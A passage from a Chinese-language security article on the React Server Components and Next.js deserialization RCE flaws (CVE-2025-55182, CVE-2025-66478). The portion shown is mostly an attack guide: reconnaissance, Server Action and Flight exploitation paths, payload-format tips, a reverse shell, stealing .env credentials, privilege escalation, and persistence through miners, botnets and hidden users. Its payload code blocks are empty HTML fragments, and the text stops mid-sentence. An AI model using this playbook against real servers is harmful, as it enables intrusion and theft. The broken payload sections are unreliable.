React2Shell（CVE-2025-55182）\u4f5c\u4e3aReact\u751f\u6001\u8fd1\u5e74\u6765\u6700\u5177\u7834\u574f\u6027\u7684\u6ee1\u5206RCE\u6f0f\u6d1e，\u5176\u6838\u5fc3\u6e90\u4e8eReact Server Components（RSC）\u5e95\u5c42Flight\u534f\u8bae\u7684\u53cd\u5e8f\u5217\u5316\u5b89\u5168\u7f3a\u9677；\u800cNext.js\u4f5c\u4e3a\u5f53\u524d\u6700\u4e3b\u6d41\u7684React\u6846\u67b6，\u4f9d\u6258RSC\u5b9e\u73b0\u670d\u52a1\u7aef\u6e32\u67d3\u4e0e\u7ec4\u4ef6\u4ea4\u4e92，\u540c\u6b65\u884d\u751f\u51fa\u5bf9\u5e94\u9ad8\u5371\u6f0f\u6d1eCVE-2025-66478\u3002\u4e24\u5927\u6f0f\u6d1e\u5f62\u6210\u201c\u4e0a\u6e38\u7f3a\u9677+\u4e0b\u6e38\u4f20\u5bfc\u201d\u7684\u653b\u51fb\u94fe\u6761，\u65e0\u9700\u8eab\u4efd\u8ba4\u8bc1\u3001\u5229\u7528\u95e8\u69db\u6781\u4f4e，\u53ef\u76f4\u63a5\u5b9e\u73b0\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u5e76\u63a5\u7ba1\u670d\u52a1\u5668，\u5bf9\u5168\u7403\u6d77\u91cfReact\/Next.js\u5e94\u7528\u6784\u6210\u81f4\u547d\u5a01\u80c1\u3002<\/p>\n
\u672c\u6587\u7acb\u8db3\u653b\u9632\u5bf9\u6297\u89c6\u89d2，\u7a81\u7834\u4f20\u7edf\u6f0f\u6d1e\u89e3\u6790\u7684\u5355\u4e00\u7ef4\u5ea6，\u4ece\u6f0f\u6d1e\u6eaf\u6e90\u3001\u6838\u5fc3\u539f\u7406\u3001\u653b\u51fb\u5168\u6d41\u7a0b（\u624b\u6cd5\u3001Payload\u3001\u5de5\u5177\u3001\u7ed5\u8fc7）\u3001\u9632\u5fa1\u4f53\u7cfb（\u4fee\u590d\u3001\u52a0\u56fa\u3001\u68c0\u6d4b\u3001\u5e94\u6025）\u3001\u5b9e\u6218\u573a\u666f\u590d\u76d8，\u5230\u672a\u6765\u6f0f\u6d1e\u6f14\u5316\u4e0e\u9632\u62a4\u524d\u77bb，\u8fdb\u884c\u5168\u65b9\u4f4d\u3001\u6df1\u5c42\u6b21\u62c6\u89e3，\u65e2\u6ee1\u8db3\u6e17\u900f\u6d4b\u8bd5\u4eba\u5458\u7684\u5b9e\u6218\u9700\u6c42，\u4e5f\u4e3a\u5b89\u5168\u8fd0\u7ef4\u3001\u5f00\u53d1\u4eba\u5458\u63d0\u4f9b\u4f53\u7cfb\u5316\u7684\u9632\u62a4\u6307\u5357，\u52a9\u529b\u4f01\u4e1a\u6784\u5efa\u4e3b\u52a8\u9632\u5fa1\u5c4f\u969c\u3002<\/p>\n
\u968f\u7740React 18\u5f15\u5165Server Components（RSC），\u65e8\u5728\u89e3\u51b3\u524d\u7aef\u6e32\u67d3\u6027\u80fd\u74f6\u9888\u3001\u51cf\u5c11\u5ba2\u6237\u7aefJS\u4f53\u79ef，\u5176\u6838\u5fc3\u901a\u4fe1\u534f\u8bae\u2014\u2014Flight\u534f\u8bae，\u8d1f\u8d23\u5728\u670d\u52a1\u7aef\u4e0e\u5ba2\u6237\u7aef\u4e4b\u95f4\u4f20\u8f93\u7ec4\u4ef6\u6570\u636e\u3002\u800cReact2Shell\u6f0f\u6d1e\u7684\u51fa\u73b0，\u76f4\u63a5\u6253\u7834\u4e86\u8fd9\u4e00\u901a\u4fe1\u94fe\u8def\u7684\u5b89\u5168\u6027，\u4e14\u901a\u8fc7\u6846\u67b6\u4f9d\u8d56\u5173\u7cfb，\u5feb\u901f\u4f20\u5bfc\u81f3Next.js\u7b49\u4e3b\u6d41\u4e0a\u5c42\u6846\u67b6，\u5f62\u6210\u201c\u4e00\u635f\u4ff1\u635f\u201d\u7684\u6f0f\u6d1e\u683c\u5c40\u3002<\/p>\n
React\u4fa7\u6f0f\u6d1e（CVE-2025-55182）：\u5b98\u65b9\u7f16\u53f7CVE-2025-55182，CVSS\u8bc4\u520610.0（Critical），\u5c5e\u4e8e\u201c\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e+\u539f\u578b\u94fe\u6c61\u67d3\u201d\u7684\u7ec4\u5408\u578b\u9ad8\u5371\u7f3a\u9677，\u6e90\u4e8ereact-server-dom-webpack\u5305\u5728\u5904\u7406Flight\u534f\u8bae\u6570\u636e\u65f6，\u672a\u5bf9\u53cd\u5e8f\u5217\u5316\u5bf9\u8c61\u8fdb\u884c\u539f\u578b\u94fe\u6821\u9a8c，\u4e14\u5b58\u5728thenable\u5bf9\u8c61\u8bef\u5224\u903b\u8f91\u3002\u5f71\u54cd\u8303\u56f4\u8986\u76d6React 18.2.0\u81f319.2.2\u6240\u6709\u7248\u672c，\u4ee5\u53ca\u6240\u6709\u57fa\u4e8eRSC\u5f00\u53d1\u7684\u7b2c\u4e09\u65b9\u5e93\u3001\u6846\u67b6（\u5305\u62ec\u4f46\u4e0d\u9650\u4e8eNext.js\u3001Remix\u3001Gatsby）\u3002<\/p>\n<\/li>\n
Next.js\u4fa7\u6f0f\u6d1e（CVE-2025-66478）：\u4f5c\u4e3aReact\u751f\u6001\u7684\u201c\u6d41\u91cf\u62c5\u5f53\u201d，Next.js\u5728App Router\u6a21\u5f0f\u4e2d\u6df1\u5ea6\u4f9d\u8d56RSC\u4e0eFlight\u534f\u8bae，\u672a\u5bf9\u4e0a\u6e38React\u6f0f\u6d1e\u8fdb\u884c\u989d\u5916\u9632\u62a4，\u5bfc\u81f4\u6f0f\u6d1e\u76f4\u63a5\u4f20\u5bfc\u3002\u8be5\u6f0f\u6d1e\u5f71\u54cdNext.js 13.4.0\u81f315.5.6\u300116.0.0\u81f316.0.6\u6240\u6709\u7248\u672c（Pages Router\u6a21\u5f0f\u56e0\u672a\u542f\u7528RSC，\u4e0d\u53d7\u5f71\u54cd），\u8986\u76d6\u5168\u7403\u6570\u767e\u4e07\u751f\u4ea7\u73af\u5883\u5e94\u7528，\u5305\u62ec\u7535\u5546\u3001\u653f\u52a1\u3001\u4f01\u4e1a\u5b98\u7f51\u7b49\u6838\u5fc3\u4e1a\u52a1\u573a\u666f\u3002<\/p>\n<\/li>\n
\u6f0f\u6d1e\u8f90\u5c04\u8303\u56f4：\u636e\u7edf\u8ba1，\u622a\u81f3\u76ee\u524d，\u5168\u7403\u7ea6\u670937%\u7684React\u5e94\u7528\u542f\u7528RSC，\u5176\u4e2d68%\u91c7\u7528Next.js\u6846\u67b6\u5f00\u53d1，\u6d89\u53ca\u91d1\u878d\u3001\u533b\u7597\u3001\u4e92\u8054\u7f51\u3001\u653f\u52a1\u7b49\u591a\u4e2a\u5173\u952e\u9886\u57df，\u4e00\u65e6\u88ab\u5229\u7528，\u53ef\u80fd\u5bfc\u81f4\u7528\u6237\u6570\u636e\u6cc4\u9732\u3001\u670d\u52a1\u5668\u88ab\u63a7\u3001\u4e1a\u52a1\u4e2d\u65ad\u7b49\u91cd\u5927\u5b89\u5168\u4e8b\u6545，\u751a\u81f3\u5f15\u53d1\u8fde\u9501\u5f0f\u653b\u51fb\u3002<\/p>\n<\/li>\n<\/ul>\n
\u4e24\u5927\u6f0f\u6d1e\u7684\u672c\u8d28\u7684\u662f\u201cFlight\u534f\u8bae\u53cd\u5e8f\u5217\u5316\u7f3a\u9677+\u539f\u578b\u94fe\u6c61\u67d3+thenable\u8bef\u5224\u201d\u7684\u7ec4\u5408\u5229\u7528，\u5176\u5b8c\u6574\u6280\u672f\u94fe\u8def\u53ef\u62c6\u89e3\u4e3a\u4e09\u4e2a\u5173\u952e\u6b65\u9aa4，\u4e5f\u662f\u653b\u51fb\u4fa7\u7684\u6838\u5fc3\u7a81\u7834\u70b9\u3001\u9632\u5fa1\u4fa7\u7684\u5173\u952e\u9632\u62a4\u70b9，\u653b\u9632\u53cc\u65b9\u7684\u5bf9\u6297\u5747\u56f4\u7ed5\u8fd9\u4e00\u94fe\u8def\u5c55\u5f00\u3002<\/p>\n
\u7b2c\u4e00\u6b65：Flight\u534f\u8bae\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e（\u653b\u51fb\u5165\u53e3）：Flight\u534f\u8bae\u4f5c\u4e3aRSC\u7684\u6838\u5fc3\u901a\u4fe1\u534f\u8bae，\u91c7\u7528\u81ea\u5b9a\u4e49\u5e8f\u5217\u5316\u683c\u5f0f\u4f20\u8f93\u7ec4\u4ef6\u6570\u636e（\u5982\u7ec4\u4ef6\u7c7b\u578b\u3001\u5c5e\u6027\u3001\u72b6\u6001），\u5176\u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b\u7531react-server-dom-webpack\u5305\u8d1f\u8d23\u3002\u8be5\u5305\u5728\u53cd\u5e8f\u5217\u5316\u65f6，\u672a\u5bf9\u8f93\u5165\u6570\u636e\u8fdb\u884c\u4e25\u683c\u6821\u9a8c，\u5141\u8bb8\u653b\u51fb\u8005\u6784\u9020\u542b__proto__（\u539f\u578b\u94fe\u6307\u9488）\u7684\u6076\u610f\u6570\u636e，\u76f4\u63a5\u6c61\u67d3\u5168\u5c40Object.prototype（\u6240\u6709\u5bf9\u8c61\u7684\u539f\u578b）\u3002\u8fd9\u662f\u6f0f\u6d1e\u5229\u7528\u7684\u201c\u6572\u95e8\u7816\u201d，\u4e5f\u662f\u9632\u5fa1\u4fa7\u6700\u57fa\u7840\u7684\u62e6\u622a\u70b9\u3002<\/p>\n<\/li>\n
\u7b2c\u4e8c\u6b65：\u539f\u578b\u94fe\u6c61\u67d3（\u6f0f\u6d1e\u653e\u5927）：\u653b\u51fb\u8005\u901a\u8fc7\u6076\u610fPayload\u4e2d\u7684__proto__\u5b57\u6bb5，\u5411Object.prototype\u6ce8\u5165\u81ea\u5b9a\u4e49then\u65b9\u6cd5\u3002\u7531\u4e8eJavaScript\u4e2d\u6240\u6709\u5bf9\u8c61\u5747\u7ee7\u627f\u81eaObject.prototype，\u4e00\u65e6\u6c61\u67d3\u6210\u529f，\u6240\u6709\u666e\u901a\u5bf9\u8c61\u90fd\u4f1a\u88ab\u9644\u52a0\u8be5\u6076\u610fthen\u65b9\u6cd5，\u5f62\u6210\u201c\u5168\u5c40\u6c61\u67d3\u201d\u3002\u8fd9\u4e00\u6b65\u5c06\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u7684\u5371\u5bb3\u653e\u5927，\u4ece\u201c\u6570\u636e\u7be1\u6539\u201d\u5347\u7ea7\u4e3a\u201c\u4ee3\u7801\u6267\u884c\u94fa\u57ab\u201d\u3002<\/p>\n<\/li>\n
\u7b2c\u4e09\u6b65：thenable\u8bef\u5224（\u4ee3\u7801\u6267\u884c\u89e6\u53d1）：Next.js\u5728\u5904\u7406Server Action（\u670d\u52a1\u7aef\u52a8\u4f5c）\u65f6，\u4f1a\u901a\u8fc7typeof obj.then === 'function'\u5224\u65ad\u4e00\u4e2a\u5bf9\u8c61\u662f\u5426\u4e3aPromise（\u5f02\u6b65\u5bf9\u8c61），\u82e5\u6ee1\u8db3\u6761\u4ef6\u5219\u4f1a\u901a\u8fc7await\u5173\u952e\u5b57\u89e6\u53d1\u5176then\u65b9\u6cd5\u3002\u88ab\u539f\u578b\u94fe\u6c61\u67d3\u540e\u7684\u666e\u901a\u5bf9\u8c61，\u56e0\u7ee7\u627f\u4e86\u6076\u610fthen\u65b9\u6cd5，\u4f1a\u88ab\u8bef\u5224\u4e3aPromise，\u5f53Next.js\u6267\u884cawait\u64cd\u4f5c\u65f6，\u6076\u610fthen\u65b9\u6cd5\u88ab\u89e6\u53d1\u3002\u653b\u51fb\u8005\u53ef\u5728then\u65b9\u6cd5\u4e2d，\u901a\u8fc7constructor.constructor\u83b7\u53d6Function\u6784\u9020\u5668，\u8fdb\u800c\u6267\u884c\u4efb\u610fJavaScript\u4ee3\u7801\u3001\u8c03\u7528\u7cfb\u7edf\u547d\u4ee4，\u6700\u7ec8\u5b9e\u73b0RCE\u3002<\/p>\n<\/li>\n
\u6838\u5fc3\u603b\u7ed3：React2Shell\u662f\u201c\u56e0\u201d（\u4e0a\u6e38\u53cd\u5e8f\u5217\u5316\u7f3a\u9677），Next.js\u6f0f\u6d1e\u662f\u201c\u679c\u201d（\u4e0b\u6e38\u672a\u9632\u62a4\u4f20\u5bfc）；\u653b\u51fb\u4fa7\u5229\u7528\u201c\u53cd\u5e8f\u5217\u5316\u2192\u539f\u578b\u6c61\u67d3\u2192then\u89e6\u53d1\u201d\u7684\u94fe\u8def\u7a81\u7834，\u9632\u5fa1\u4fa7\u5219\u9700\u9488\u5bf9\u6027\u963b\u65ad\u5176\u4e2d\u4efb\u610f\u4e00\u4e2a\u73af\u8282，\u5373\u53ef\u5b9e\u73b0\u6709\u6548\u9632\u62a4\u3002<\/p>\n
\u4ece\u6e17\u900f\u6d4b\u8bd5\u5b9e\u6218\u89d2\u5ea6\u6765\u770b，\u4e24\u5927\u6f0f\u6d1e\u7684\u5229\u7528\u95e8\u69db\u6781\u4f4e，\u65e0\u9700\u590d\u6742\u6280\u672f\u50a8\u5907，\u4ec5\u9700\u6784\u9020\u5bf9\u5e94Payload\u3001\u627e\u5230\u653b\u51fb\u5165\u53e3，\u5373\u53ef\u5b9e\u73b0\u65e0\u8ba4\u8bc1RCE，\u4e14\u5b58\u5728\u591a\u79cd\u5229\u7528\u8def\u5f84\u3001\u7ed5\u8fc7\u624b\u6cd5，\u9002\u914d\u4e0d\u540c\u573a\u666f\u4e0b\u7684\u653b\u51fb\u9700\u6c42\u3002\u4ee5\u4e0b\u4ece\u201c\u524d\u7f6e\u6761\u4ef6\u2192\u6838\u5fc3\u624b\u6cd5\u2192Payload\u6df1\u5ea6\u89e3\u6790\u2192\u5de5\u5177\u4e0e\u6d41\u91cf\u7279\u5f81\u2192\u7ed5\u8fc7\u6280\u5de7\u2192\u5b9e\u6218\u573a\u666f\u201d\u516d\u4e2a\u7ef4\u5ea6，\u5b8c\u6574\u8fd8\u539f\u653b\u51fb\u5168\u6d41\u7a0b\u3002<\/p>\n
\u653b\u51fb\u8005\u5728\u53d1\u8d77\u653b\u51fb\u524d，\u9700\u5148\u5bf9\u76ee\u6807\u8fdb\u884c\u63a2\u6d4b，\u786e\u8ba4\u5176\u6ee1\u8db3\u4ee5\u4e0b\u6761\u4ef6，\u907f\u514d\u65e0\u6548\u653b\u51fb，\u63d0\u9ad8\u6210\u529f\u7387：<\/p>\n
\u7248\u672c\u5339\u914d：\u76ee\u6807\u5e94\u7528\u4f7f\u7528\u7684React\u7248\u672c\u572818.2.0-19.2.2\u4e4b\u95f4，Next.js\u7248\u672c\u572813.4.0-15.5.6\u621616.0.0-16.0.6\u4e4b\u95f4，\u4e14\u542f\u7528Next.js App Router\u6a21\u5f0f（\u53ef\u901a\u8fc7\u8bbf\u95ee\/_next\/app\/\u8def\u5f84\u3001\u67e5\u770b\u54cd\u5e94\u5934\u4e2d\u7684Next-Router-Prefetch\u5b57\u6bb5\u5224\u65ad）\u3002<\/p>\n<\/li>\n
\u653b\u51fb\u9762\u66b4\u9732：\u76ee\u6807\u516c\u7f51\u5f00\u653eRSC\u76f8\u5173\u7aef\u70b9，\u5305\u62ec\/_next\/data\/[buildId]\/[page].json（Flight\u534f\u8bae\u901a\u4fe1\u7aef\u70b9）\u3001\/api\/（\u63a5\u53e3\u7aef\u70b9）\u3001Server Action\u76f8\u5173\u7aef\u70b9（\u5982\/api\/action\/xxx），\u4e14\u672a\u505aIP\u9650\u5236\u3001\u8eab\u4efd\u8ba4\u8bc1\u7b49\u9632\u62a4\u3002<\/p>\n<\/li>\n
\u9632\u62a4\u7f3a\u5931：\u76ee\u6807\u672a\u5347\u7ea7\u5b89\u5168\u7248\u672c\u3001\u672a\u542f\u7528serverActionsStrict\u7b49\u5b89\u5168\u914d\u7f6e，\u65e0WAF（Web\u5e94\u7528\u9632\u706b\u5899）\u62e6\u622a，\u6216WAF\u89c4\u5219\u5b58\u5728\u6f0f\u6d1e（\u5982\u672a\u8fc7\u6ee4__proto__\u3001then\u7b49\u5173\u952e\u5b57）\u3002<\/p>\n<\/li>\n
\u73af\u5883\u9002\u914d：\u76ee\u6807\u670d\u52a1\u5668\u8fd0\u884cNode.js\u73af\u5883（Next.js\/React RSC\u4f9d\u8d56Node.js），\u4e14Node.js\u8fdb\u7a0b\u62e5\u6709\u4e00\u5b9a\u6743\u9650（\u5982\u53ef\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u3001\u8bfb\u53d6\u654f\u611f\u6587\u4ef6），\u90e8\u5206\u573a\u666f\u4e0b，\u975eroot\u7528\u6237\u4e5f\u53ef\u5b9e\u73b0\u6838\u5fc3\u653b\u51fb\u76ee\u6807（\u5982\u53cd\u5f39Shell\u3001\u7a83\u53d6\u6570\u636e）\u3002<\/p>\n<\/li>\n<\/ul>\n
\u63a2\u6d4b\u5de5\u5177\u4e0e\u65b9\u6cd5：\u53ef\u4f7f\u7528Nmap\u626b\u63cf\u76ee\u6807\u7aef\u53e3\u3001\u76ee\u5f55（\u91cd\u70b9\u626b\u63cf\/_next\/data\/\u3001\/api\/）；\u4f7f\u7528Burp Suite\u53d1\u9001\u63a2\u6d4b\u8bf7\u6c42，\u67e5\u770b\u54cd\u5e94\u5185\u5bb9\u5224\u65ad\u7248\u672c；\u4f7f\u7528\u81ea\u5b9a\u4e49Python\u811a\u672c\u6279\u91cf\u626b\u63cf\u4e92\u8054\u7f51\u4e0a\u7684\u6f0f\u6d1e\u76ee\u6807（\u57fa\u4e8eHTTP\u54cd\u5e94\u5934\u3001\u8def\u5f84\u7279\u5f81\u5339\u914d）\u3002<\/p>\n
\u6839\u636e\u76ee\u6807\u5e94\u7528\u7684\u914d\u7f6e\u5dee\u5f02\u3001\u7aef\u70b9\u5f00\u653e\u60c5\u51b5，\u653b\u51fb\u8005\u4e3b\u8981\u91c7\u75283\u79cd\u5229\u7528\u8def\u5f84，\u5176\u4e2dServer Action\u76f4\u63a5\u5229\u7528\u6700\u4e3a\u5e38\u7528（\u9002\u914d\u5927\u90e8\u5206Next.js\u5e94\u7528），Flight\u534f\u8bae\u5e95\u5c42\u5229\u7528\u6700\u4e3a\u9690\u853d（\u53ef\u7ed5\u8fc7\u90e8\u5206\u7b80\u5355\u9632\u62a4），\u591a\u9636\u6bb5\u7ec4\u5408\u5229\u7528\u5219\u7528\u4e8e\u6df1\u5ea6\u6e17\u900f（\u83b7\u53d6\u6301\u4e45\u5316\u63a7\u5236）\u3002<\/p>\n
Server Action\u662fNext.js App Router\u6a21\u5f0f\u4e2d\u65b0\u589e\u7684\u529f\u80fd，\u5141\u8bb8\u5f00\u53d1\u8005\u5728\u7ec4\u4ef6\u4e2d\u76f4\u63a5\u5b9a\u4e49\u670d\u52a1\u7aef\u51fd\u6570，\u7528\u4e8e\u5904\u7406\u8868\u5355\u63d0\u4ea4\u3001\u6570\u636e\u67e5\u8be2\u7b49\u64cd\u4f5c，\u5176\u901a\u4fe1\u8fc7\u7a0b\u4f9d\u8d56RSC\u4e0eFlight\u534f\u8bae，\u662f\u6f0f\u6d1e\u5229\u7528\u7684\u6700\u4f73\u5165\u53e3（\u5927\u90e8\u5206Next.js\u5e94\u7528\u90fd\u4f1a\u542f\u7528\u8be5\u529f\u80fd）\u3002<\/p>\n
\u653b\u51fb\u5165\u53e3：POST\u8bf7\u6c42\u53d1\u9001\u81f3Server Action\u7aef\u70b9（\u53ef\u901a\u8fc7\u524d\u7aef\u6e90\u7801\u3001\u76ee\u5f55\u626b\u63cf\u627e\u5230，\u5982\/api\/action\/submit\u3001\/action\/login），\u8bf7\u6c42\u5934\u9700\u643a\u5e26Next-Action（\u6307\u5b9aAction ID）\u3001Content-Type: application\/json\u3002<\/p>\n<\/li>\n
Payload\u6784\u9020\u903b\u8f91：\u6838\u5fc3\u662f\u201c\u539f\u578b\u94fe\u6c61\u67d3+\u6076\u610fthen\u65b9\u6cd5+\u547d\u4ee4\u6267\u884c\u201d，Payload\u9700\u7b26\u5408Next.js Server Action\u7684\u8bf7\u6c42\u683c\u5f0f，\u540c\u65f6\u6ce8\u5165__proto__\u5b57\u6bb5\u6c61\u67d3\u539f\u578b，\u793a\u4f8b\u5982\u4e0b（\u5206\u57fa\u7840\u7248\u3001\u8fdb\u9636\u7248）：<\/p>\n<\/li>\n<\/ul>\n
\u57fa\u7840\u7248Payload（\u547d\u4ee4\u6267\u884c，\u67e5\u770b\u670d\u52a1\u5668\u4fe1\u606f）：<\/p>\n
{<\/span> \u8fdb\u9636\u7248Payload（\u53cd\u5f39Shell，\u6301\u4e45\u5316\u63a7\u5236）：<\/p>\n {<\/span> \u6267\u884c\u903b\u8f91：\u653b\u51fb\u8005\u53d1\u9001Payload\u2192Next.js\u63a5\u6536\u8bf7\u6c42，\u89e3\u6790Server Action\u53c2\u6570\u2192\u53cd\u5e8f\u5217\u5316\u65f6\u89e6\u53d1\u539f\u578b\u94fe\u6c61\u67d3，\u5411Object.prototype\u6ce8\u5165\u6076\u610fthen\u65b9\u6cd5\u2192Next.js\u5904\u7406inputs\u53c2\u6570\u65f6，\u5c06\u8be5\u5bf9\u8c61\u89c6\u4e3aPromise\u5e76\u6267\u884cawait\u2192\u89e6\u53d1\u6076\u610fthen\u65b9\u6cd5，\u6267\u884cexecSync\/spawn\u8c03\u7528\u7cfb\u7edf\u547d\u4ee4\u2192\u8fd4\u56de\u547d\u4ee4\u6267\u884c\u7ed3\u679c（\u57fa\u7840\u7248）\u6216\u53cd\u5f39Shell\u81f3\u653b\u51fb\u8005\u670d\u52a1\u5668（\u8fdb\u9636\u7248）\u3002<\/p>\n \u8be5\u8def\u5f84\u76f4\u63a5\u9488\u5bf9React RSC\u7684Flight\u534f\u8bae\u53cd\u5e8f\u5217\u5316\u7f3a\u9677，\u4e0d\u4f9d\u8d56Next.js Server Action\u529f\u80fd，\u9002\u7528\u4e8e\u672a\u542f\u7528Server Action\u3001\u4f46\u542f\u7528RSC\u7684\u5e94\u7528（\u5982\u7eafReact RSC\u9879\u76ee\u3001Next.js App Router\u65e0Action\u573a\u666f），\u4e14\u56e0Payload\u683c\u5f0f\u7279\u6b8a，\u53ef\u7ed5\u8fc7\u90e8\u5206\u4ec5\u62e6\u622a\u5e38\u89c4\u5173\u952e\u5b57\u7684WAF\u3002<\/p>\n \u653b\u51fb\u5165\u53e3：POST\u8bf7\u6c42\u53d1\u9001\u81f3\/_next\/data\/[buildId]\/[page].json\u7aef\u70b9（buildId\u53ef\u901a\u8fc7\u8bbf\u95ee\u76ee\u6807\u9996\u9875\u3001\u67e5\u770bHTML\u6e90\u7801\u4e2d\u7684\/_next\/static\/[buildId]\/\u8def\u5f84\u83b7\u53d6，page\u4e3a\u76ee\u6807\u9875\u9762，\u5982index\u3001about）\u3002<\/p>\n<\/li>\n Payload\u6784\u9020\u903b\u8f91：Flight\u534f\u8bae\u7684\u5e8f\u5217\u5316\u683c\u5f0f\u4e3a\u81ea\u5b9a\u4e49\u6570\u7ec4\u7ed3\u6784，\u9996\u5143\u7d20\u4e3a\u7279\u6b8a\u6807\u8bc6（\u5982$1\u3001$@），\u540e\u7eed\u5143\u7d20\u4e3a\u7ec4\u4ef6\u6570\u636e，\u653b\u51fb\u8005\u9700\u6784\u9020\u7b26\u5408\u8be5\u683c\u5f0f\u7684Payload，\u6ce8\u5165\u539f\u578b\u94fe\u6c61\u67d3\u5b57\u6bb5，\u793a\u4f8b\u5982\u4e0b：<\/p>\n<\/li>\n<\/ul>\n [<\/span> \u6267\u884c\u903b\u8f91：\u653b\u51fb\u8005\u53d1\u9001Flight\u683c\u5f0fPayload\u2192react-server-dom-webpack\u5305\u5bf9Payload\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u2192\u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b\u4e2d，\u901a\u8fc7__proto__\u6c61\u67d3Object.prototype，\u6ce8\u5165\u6076\u610fthen\u65b9\u6cd5\u2192Next.js\/React\u5904\u7406\u7ec4\u4ef6\u6570\u636e\u65f6，\u68c0\u6d4b\u5230\u5bf9\u8c61\u5b58\u5728then\u65b9\u6cd5，\u8bef\u5224\u4e3aPromise\u5e76await\u2192\u89e6\u53d1\u6076\u610f\u4ee3\u7801\u6267\u884c，\u5b9e\u73b0\u654f\u611f\u6587\u4ef6\u7a83\u53d6\u3001\u547d\u4ee4\u6267\u884c\u7b49\u64cd\u4f5c\u3002<\/p>\n \u8be5\u8def\u5f84\u9002\u7528\u4e8e\u9700\u8981\u83b7\u53d6\u76ee\u6807\u670d\u52a1\u5668\u6301\u4e45\u5316\u63a7\u5236\u3001\u8fdb\u884c\u5185\u7f51\u6a2a\u5411\u6e17\u900f\u7684\u573a\u666f，\u7ed3\u5408\u524d\u4e24\u79cd\u5229\u7528\u8def\u5f84，\u52063\u4e2a\u9636\u6bb5\u9010\u6b65\u63d0\u5347\u6743\u9650\u3001\u6269\u5927\u653b\u51fb\u8303\u56f4，\u662f\u9ad8\u7ea7\u653b\u51fb\u8005\u7684\u5e38\u7528\u624b\u6cd5\u3002<\/p>\n \u7b2c\u4e00\u9636\u6bb5：\u521d\u59cb\u7a81\u7834，\u83b7\u53d6Shell：\u901a\u8fc7Server Action\u6216Flight\u534f\u8bae\u5229\u7528\u8def\u5f84，\u53d1\u9001\u53cd\u5f39Shell Payload，\u83b7\u53d6\u76ee\u6807\u670d\u52a1\u5668\u7684\u521d\u59cbShell（\u4e00\u822c\u4e3aNode.js\u8fdb\u7a0b\u6743\u9650），\u67e5\u770b\u670d\u52a1\u5668\u57fa\u672c\u4fe1\u606f（\u5982\u64cd\u4f5c\u7cfb\u7edf\u3001\u7528\u6237\u6743\u9650\u3001\u5b89\u88c5\u7684\u670d\u52a1\u3001\u5185\u7f51\u7f51\u6bb5）\u3002<\/p>\n<\/li>\n \u7b2c\u4e8c\u9636\u6bb5：\u6743\u9650\u63d0\u5347，\u7a83\u53d6\u654f\u611f\u4fe1\u606f：\u5229\u7528\u521d\u59cbShell，\u8bfb\u53d6\u76ee\u6807\u5e94\u7528\u7684\u654f\u611f\u914d\u7f6e\u6587\u4ef6（\u5982next.config.js\u3001.env\u73af\u5883\u53d8\u91cf\u6587\u4ef6\u3001\u6570\u636e\u5e93\u914d\u7f6e\u6587\u4ef6），\u83b7\u53d6\u6570\u636e\u5e93\u8d26\u53f7\u5bc6\u7801\u3001API\u5bc6\u94a5\u3001\u6e90\u7801\u7b49；\u82e5Node.js\u8fdb\u7a0b\u4e3aroot\u6743\u9650，\u76f4\u63a5\u63a5\u7ba1\u670d\u52a1\u5668；\u82e5\u4e3a\u975eroot\u6743\u9650，\u901a\u8fc7SUID\u63d0\u6743\u3001\u5185\u6838\u6f0f\u6d1e\u63d0\u6743\u7b49\u65b9\u5f0f\u63d0\u5347\u6743\u9650\u3002<\/p>\n<\/li>\n \u7b2c\u4e09\u9636\u6bb5：\u6301\u4e45\u5316\u63a7\u5236，\u5185\u7f51\u6a2a\u5411：\u5728\u670d\u52a1\u5668\u4e0a\u90e8\u7f72\u6076\u610f\u7a0b\u5e8f（\u5982\u6316\u77ff\u7a0b\u5e8f\u3001\u6728\u9a6c\u3001\u50f5\u5c38\u7f51\u7edc\u5ba2\u6237\u7aef，\u5982NutsBot\u3001Mirai），\u4fee\u6539SSH\u914d\u7f6e\u3001\u6dfb\u52a0\u9690\u85cf\u7528\u6237，\u5b9e\u73b0\u6301\u4e45\u5316\u63a7\u5236；\u5229\u7528\u670d\u52a1\u5668\u7684\u5185\u7f51\u6743\u9650，\u626b\u63cf\u540c\u7f51\u6bb5\u5176\u4ed6\u8bbe\u5907，\u5bfb\u627e\u5176\u4ed6\u6f0f\u6d1e（\u5982\u5f31\u53e3\u4ee4\u3001\u672a\u4fee\u590d\u7684\u9ad8\u5371\u6f0f\u6d1e），\u8fdb\u884c\u6a2a\u5411\u6e17\u900f，\u6269\u5927\u653b\u51fb\u8303\u56f4\u3002<\/p>\n<\/li>\n \u653b\u51fb\u8005\u5728\u6784\u9020Payload\u65f6，\u9700\u6ce8\u610f3\u4e2a\u5173\u952e\u7ec6\u8282，\u5426\u5219\u4f1a\u5bfc\u81f4\u5229\u7528\u5931\u8d25（\u4e5f\u662f\u9632\u5fa1\u4fa7\u53ef\u5229\u7528\u7684\u5f31\u70b9），\u540c\u65f6\u9700\u6839\u636e\u76ee\u6807\u73af\u5883（\u5982Windows\/Linux\u670d\u52a1\u5668\u3001Node.js\u7248\u672c）\u8c03\u6574Payload：<\/p>\n \u7ec6\u82821：__proto__\u5b57\u6bb5\u7684\u683c\u5f0f\u9002\u914d：\u4e0d\u540c\u573a\u666f\u4e0b，__proto__\u7684\u6ce8\u5165\u683c\u5f0f\u4e0d\u540c，Server Action\u573a\u666f\u9700\u4f7f\u7528$1:__proto__:then（$1\u4e3a\u53c2\u6570\u6807\u8bc6，\u9700\u4e0e\u76ee\u6807\u8bf7\u6c42\u683c\u5f0f\u5339\u914d），Flight\u534f\u8bae\u573a\u666f\u9700\u4f7f\u7528{"type": "$$typeof", "value": "__proto__"}，\u5426\u5219\u65e0\u6cd5\u6210\u529f\u6c61\u67d3\u539f\u578b\u94fe\u3002<\/p>\n<\/li>\n \u7ec6\u82822：\u547d\u4ee4\u6267\u884c\u51fd\u6570\u7684\u9002\u914d：Linux\u670d\u52a1\u5668\u53ef\u4f7f\u7528execSync\u3001spawn\u8c03\u7528bash\u3001sh\u547d\u4ee4；Windows\u670d\u52a1\u5668\u9700\u8c03\u7528cmd.exe，Payload\u9700\u8c03\u6574\u4e3aexecSync('whoami && ipconfig', {shell: 